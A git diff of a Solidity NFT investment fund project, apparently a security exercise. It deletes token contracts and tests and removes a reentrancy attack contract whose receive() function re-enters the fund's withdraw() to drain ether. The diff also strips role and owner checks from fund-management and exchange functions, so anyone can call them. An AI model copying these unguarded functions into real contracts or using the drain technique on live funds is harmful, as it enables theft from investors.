diff --git a/contracts/FundToken.sol b/contracts/FundToken.sol deleted file mode 100644 index 7f5f32d..0000000 --- a/contracts/FundToken.sol +++ /dev/null @@ -1,19 +0,0 @@ -// SPDX-License-Identifier: MIT -// Compatible with OpenZeppelin Contracts ^5.0.0 -pragma solidity ^0.8.22; - -import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; -import { ERC20Burnable } from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; -import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; - -contract FundToken is ERC20, ERC20Burnable, Ownable { - constructor( - address initialOwner, - string memory name, - string memory symbol - ) ERC20(name, symbol) Ownable(initialOwner) {} - - function mint(address to, uint256 amount) public onlyOwner { - _mint(to, amount); - } -} diff --git a/contracts/FunnyNft.sol b/contracts/FunnyNft.sol deleted file mode 100644 index 7e4a0e4..0000000 --- a/contracts/FunnyNft.sol +++ /dev/null @@ -1,40 +0,0 @@ -// SPDX-License-Identifier: MIT -// Compatible with OpenZeppelin Contracts ^5.0.0 -pragma solidity ^0.8.22; - -import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; -import { ERC721Enumerable } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; -import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; - -contract FunnyNft is ERC721, ERC721Enumerable, Ownable { - uint256 private _nextTokenId; - - constructor() ERC721("FunnyNft", "FNFT") Ownable(msg.sender) {} - - function _baseURI() internal pure override returns (string memory) { - return "http://localhost:5173/funny/"; - } - - function safeMint(address to) public onlyOwner { - uint256 tokenId = _nextTokenId++; - _safeMint(to, tokenId); - } - - // The following functions are overrides required by Solidity. - - function _update( - address to, - uint256 tokenId, - address auth - ) internal override(ERC721, ERC721Enumerable) returns (address) { - return super._update(to, tokenId, auth); - } - - function _increaseBalance(address account, uint128 value) internal override(ERC721, ERC721Enumerable) { - super._increaseBalance(account, value); - } - - function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { - return super.supportsInterface(interfaceId); - } -} diff --git a/contracts/MallorysMaliciousMisappropriation.sol b/contracts/MallorysMaliciousMisappropriation.sol index 5f65a07..9fddd3f 100644 --- a/contracts/MallorysMaliciousMisappropriation.sol +++ b/contracts/MallorysMaliciousMisappropriation.sol @@ -8,37 +8,7 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; contract MallorysMaliciousMisappropriation is Ownable { NftInvestmentFund public nftInvestmentFund; - error InvestmentFundNotEnded(); - error FailedToSendEther(); - constructor(address payable _nftInvestmentFundAddress) Ownable(msg.sender) { nftInvestmentFund = NftInvestmentFund(_nftInvestmentFundAddress); } - - // Receive is called when the contract receives Ether - // solhint-disable-next-line no-complex-fallback - receive() external payable { - FundToken fundToken = FundToken(nftInvestmentFund.fundToken()); - uint256 withdrawAmount = (nftInvestmentFund.balanceAtEnd() / nftInvestmentFund.fundTokensAtEnd()) * - fundToken.balanceOf(address(this)); - - // The attack - if (address(nftInvestmentFund).balance >= withdrawAmount) { - nftInvestmentFund.withdraw(); - } - } - - function attack() external onlyOwner { - if (!nftInvestmentFund.ended()) revert InvestmentFundNotEnded(); - - FundToken fundToken = FundToken(nftInvestmentFund.fundToken()); - fundToken.approve(address(nftInvestmentFund), fundToken.balanceOf(address(this))); - - nftInvestmentFund.withdraw(); - } - - function withdraw() external onlyOwner { - (bool sent, ) = payable(msg.sender).call{ value: address(this).balance }(""); - if (!sent) revert FailedToSendEther(); - } } diff --git a/contracts/NftExchange.sol b/contracts/NftExchange.sol index d77ba31..0dbf121 100644 --- a/contracts/NftExchange.sol +++ b/contracts/NftExchange.sol @@ -7,7 +7,7 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; -contract NftExchange is Pausable, Ownable, IERC721Receiver { +contract NftExchange is IERC721Receiver { uint256 private _nextListingId; struct Listing { @@ -28,17 +28,7 @@ contract NftExchange is Pausable, Ownable, IERC721Receiver { error InsufficientFunds(); error FailedToSendEther(); - constructor() Ownable(msg.sender) {} - - function pause() public onlyOwner { - _pause(); - } - - function unpause() public onlyOwner { - _unpause(); - } - - function sellNFT(address nftContract, uint256 nftTokenId, uint256 price) public whenNotPaused returns (uint256) { + function sellNFT(address nftContract, uint256 nftTokenId, uint256 price) public returns (uint256) { IERC721(nftContract).safeTransferFrom(msg.sender, address(this), nftTokenId); uint256 listingId = _nextListingId++; @@ -60,7 +50,7 @@ contract NftExchange is Pausable, Ownable, IERC721Receiver { return _nextListingId; } - function buyNFT(uint256 listingId) public payable whenNotPaused { + function buyNFT(uint256 listingId) public payable { Listing storage listing = listings[listingId]; if (listing.isSold) revert NFTAlreadySold(); if (msg.value < listing.price) revert InsufficientFunds(); diff --git a/contracts/NftInvestmentFund.sol b/contracts/NftInvestmentFund.sol index 41fee10..35bb316 100644 --- a/contracts/NftInvestmentFund.sol +++ b/contracts/NftInvestmentFund.sol @@ -8,9 +8,7 @@ import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Rec import { FundToken } from "./FundToken.sol"; import { NftExchange } from "./NftExchange.sol"; -contract NftInvestmentFund is AccessControl, IERC721Receiver { - bytes32 public constant FUND_MANAGER_ROLE = keccak256("FUND_MANAGER"); - +contract NftInvestmentFund is IERC721Receiver { address public fundManager; string public name; @@ -47,7 +45,6 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver { if (_investmentEnd <= _fundingEnd) revert InvestmentAfterFunding(); fundManager = msg.sender; - _grantRole(FUND_MANAGER_ROLE, fundManager); name = _name; fundToken = new FundToken(address(this), string.concat(_name, " Token"), _symbol); @@ -109,7 +106,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver { function buyNFT( address nftExchangeAddress, uint256 listingId - ) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) onlyRole(FUND_MANAGER_ROLE) { + ) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) { NftExchange exchange = NftExchange(nftExchangeAddress); (, , , , uint256 price, ) = exchange.listings(listingId); @@ -122,7 +119,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver { function registerNFT( address nftAddress, uint256 nftTokenId - ) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) onlyRole(FUND_MANAGER_ROLE) { + ) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) { ownedNftAddresses.push(nftAddress); ownedNftTokenIds[nftAddress].push(nftTokenId); } @@ -133,7 +130,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver { address nftAddress, uint256 tokenIndex, uint256 price - ) external onlyAfter(fundingEnd) onlyRole(FUND_MANAGER_ROLE) { + ) external onlyAfter(fundingEnd) { require(ownedNftTokenIds[nftAddress].length > tokenIndex, "Non-existent token"); uint256 nftTokenId = ownedNftTokenIds[nftAddress][tokenIndex]; @@ -147,7 +144,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver { } // Register NFT sales - function registerNFTSales() public onlyAfter(fundingEnd) onlyRole(FUND_MANAGER_ROLE) { + function registerNFTSales() public onlyAfter(fundingEnd) { for (uint256 i = 0; i < activeListings.length; ) { ActiveListing memory activeListing = activeListings[i]; @@ -164,7 +161,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver { } // Close the fund after the end - function closeFund() external onlyAfter(investmentEnd) onlyRole(FUND_MANAGER_ROLE) { + function closeFund() external onlyAfter(investmentEnd) { require(ownedNftAddresses.length == 0, "Not all NFT is sold"); if (activeListings.length > 0) { registerNFTSales(); diff --git a/contracts/UniqueNft.sol b/contracts/UniqueNft.sol deleted file mode 100644 index 1f36b40..0000000 --- a/contracts/UniqueNft.sol +++ /dev/null @@ -1,34 +0,0 @@ -// SPDX-License-Identifier: MIT -// Compatible with OpenZeppelin Contracts ^5.0.0 -pragma solidity ^0.8.22; - -import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; -import { ERC721Enumerable } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; - -contract UniqueNft is ERC721, ERC721Enumerable { - constructor() ERC721("UniqueNft", "UNFT") { - _safeMint(msg.sender, 0); - } - - function _baseURI() internal pure override returns (string memory) { - return "http://localhost:5173/unique/"; - } - - // The following functions are overrides required by Solidity. - - function _update( - address to, - uint256 tokenId, - address auth - ) internal override(ERC721, ERC721Enumerable) returns (address) { - return super._update(to, tokenId, auth); - } - - function _increaseBalance(address account, uint128 value) internal override(ERC721, ERC721Enumerable) { - super._increaseBalance(account, value); - } - - function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { - return super.supportsInterface(interfaceId); - } -} diff --git a/test/NftExchange.ts b/test/NftExchange.ts index 375cf6d..4a3dbcd 100644 --- a/test/NftExchange.ts +++ b/test/NftExchange.ts @@ -3,223 +3,4 @@ import { expect } from 'chai' import hre from 'hardhat' import { getAddress } from 'viem' -describe('NFT Exchange', function () { - async function baseScenario() { - const [owner, alice] = await hre.viem.getWalletClients() - - const nftExchange = await hre.viem.deployContract('NftExchange', [], { - client: { wallet: owner } - }) - - const nft = await hre.viem.deployContract('UniqueNft', [], { - client: { wallet: owner } - }) - - return { nftExchange, nft, owner, alice } - } - - async function offeredNftScenario() { - const [owner, alice] = await hre.viem.getWalletClients() - - const nftExchange = await hre.viem.deployContract('NftExchange', [], { - client: { wallet: owner } - }) - - const nft = await hre.viem.deployContract('UniqueNft', [], { - client: { wallet: owner } - }) - - await nft.write.approve([nftExchange.address, 0n]) - await nftExchange.write.sellNFT([nft.address, 0n, 200n]) - - return { nftExchange, nft, owner, alice } - } - - it('Creation', async function () { - const { nftExchange, owner } = await loadFixture(baseScenario) - expect(await nftExchange.read.owner()).to.equal(getAddress(owner.account.address)) - expect(await nftExchange.read.numberOfListings()).to.equal(0n) - }) - - it('Sell owned and approved NFT', async function () { - const { nftExchange, nft, owner } = await loadFixture(baseScenario) - expect(await nftExchange.read.owner()).to.equal(getAddress(owner.account.address)) - expect(await nftExchange.read.numberOfListings()).to.equal(0n) - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) - - await nft.write.approve([nftExchange.address, 0n]) - - const { result: sellResult, request: sellRequest } = await nftExchange.simulate.sellNFT( - [nft.address, 0n, 200n], - { - account: owner.account.address - } - ) - expect(sellResult).to.equal(0n) - expect(await owner.writeContract(sellRequest)).to.emit(nftExchange, 'NftOffered') - - expect(await nftExchange.read.numberOfListings()).to.equal(1n) - - const [listingId, nftContract, nftTokenId, seller, price, isSold] = await nftExchange.read.listings([0n]) - expect(listingId).to.equal(0n) - expect(nftContract).to.equal(getAddress(nft.address)) - expect(nftTokenId).to.equal(0n) - expect(seller).to.equal(getAddress(owner.account.address)) - expect(price).to.equal(200n) - expect(isSold).to.equal(false) - - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) - }) - - it('Sell not approved NFT', async function () { - const { nftExchange, nft, owner } = await loadFixture(baseScenario) - expect(await nftExchange.read.owner()).to.equal(getAddress(owner.account.address)) - expect(await nftExchange.read.numberOfListings()).to.equal(0n) - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) - - await expect( - nftExchange.write.sellNFT([nft.address, 0n, 200n], { - account: owner.account.address - }) - ).to.revertedWithCustomError(nft, 'ERC721InsufficientApproval') - }) - - it('Sell while paused', async function () { - const { nftExchange, nft, owner } = await loadFixture(baseScenario) - expect(await nftExchange.read.numberOfListings()).to.equal(0n) - - await nftExchange.write.pause() - await expect( - nftExchange.write.sellNFT([nft.address, 0n, 200n], { - account: owner.account.address - }) - ).to.revertedWithCustomError(nftExchange, 'EnforcedPause') - }) - - it('Sell after unpause', async function () { - const { nftExchange, nft, owner } = await loadFixture(baseScenario) - expect(await nftExchange.read.numberOfListings()).to.equal(0n) - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) - - await nft.write.approve([nftExchange.address, 0n]) - - await nftExchange.write.pause() - await expect( - nftExchange.write.sellNFT([nft.address, 0n, 200n], { - account: owner.account.address - }) - ).to.revertedWithCustomError(nftExchange, 'EnforcedPause') - - await nftExchange.write.unpause() - await nftExchange.write.sellNFT([nft.address, 0n, 200n], { - account: owner.account.address - }) - }) - - it('Buy NFT', async function () { - const { nftExchange, nft, owner, alice } = await loadFixture(offeredNftScenario) - expect(await nftExchange.read.numberOfListings()).to.equal(1n) - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) - - const [preListingId, preNftContract, preNftTokenId, preSeller, prePrice, preIsSold] = - await nftExchange.read.listings([0n]) - expect(preListingId).to.equal(0n) - expect(preNftContract).to.equal(getAddress(nft.address)) - expect(preNftTokenId).to.equal(0n) - expect(preSeller).to.equal(getAddress(owner.account.address)) - expect(prePrice).to.equal(200n) - expect(preIsSold).to.equal(false) - - const tx = await nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) - expect(tx).to.emit(nftExchange, 'NftSold') - expect(tx).to.changeEtherBalances([owner.account, nftExchange.address, alice.account], [200n, 0n, -200n]) - - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(alice.account.address)) - expect(await nftExchange.read.numberOfListings()).to.equal(1n) - - const [postListingId, postNftContract, postNftTokenId, postSeller, postPrice, postIsSold] = - await nftExchange.read.listings([0n]) - expect(postListingId).to.equal(0n) - expect(postNftContract).to.equal(getAddress(nft.address)) - expect(postNftTokenId).to.equal(0n) - expect(postSeller).to.equal(getAddress(owner.account.address)) - expect(postPrice).to.equal(200n) - expect(postIsSold).to.equal(true) - }) - - it('Buy already sold NFT', async function () { - const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) - expect(await nftExchange.read.numberOfListings()).to.equal(1n) - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) - - await nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) - - await expect( - nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) - ).to.revertedWithCustomError(nftExchange, 'NFTAlreadySold') - }) - - it('Buy with insufficient funds NFT', async function () { - const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) - expect(await nftExchange.read.numberOfListings()).to.equal(1n) - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) - - await expect( - nftExchange.write.buyNFT([0n], { account: alice.account, value: 100n }) - ).to.revertedWithCustomError(nftExchange, 'InsufficientFunds') - }) - - it('Buy nonexistent listing', async function () { - const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) - expect(await nftExchange.read.numberOfListings()).to.equal(1n) - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) - - await expect(nftExchange.write.buyNFT([3n], { account: alice.account, value: 100n })).to.revertedWithoutReason() - }) - - it('Buy while paused', async function () { - const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) - expect(await nftExchange.read.numberOfListings()).to.equal(1n) - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) - - await nftExchange.write.pause() - await expect( - nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) - ).to.revertedWithCustomError(nftExchange, 'EnforcedPause') - }) - - it('Buy after unpause', async function () { - const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) - expect(await nftExchange.read.numberOfListings()).to.equal(1n) - expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) - - await nftExchange.write.pause() - await expect( - nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) - ).to.revertedWithCustomError(nftExchange, 'EnforcedPause') - - await nftExchange.write.unpause() - await nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) - }) - - it('Wrong owner pauses and unpauses', async function () { - const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) - - expect(await nftExchange.read.paused()).to.equal(false) - await expect(nftExchange.write.pause({ account: alice.account })).to.revertedWithCustomError( - nftExchange, - 'OwnableUnauthorizedAccount' - ) - - await nftExchange.write.pause() - - expect(await nftExchange.read.paused()).to.equal(true) - await expect(nftExchange.write.unpause({ account: alice.account })).to.revertedWithCustomError( - nftExchange, - 'OwnableUnauthorizedAccount' - ) - - await nftExchange.write.unpause() - expect(await nftExchange.read.paused()).to.equal(false) - }) -}) +describe('NFT Exchange', function () {})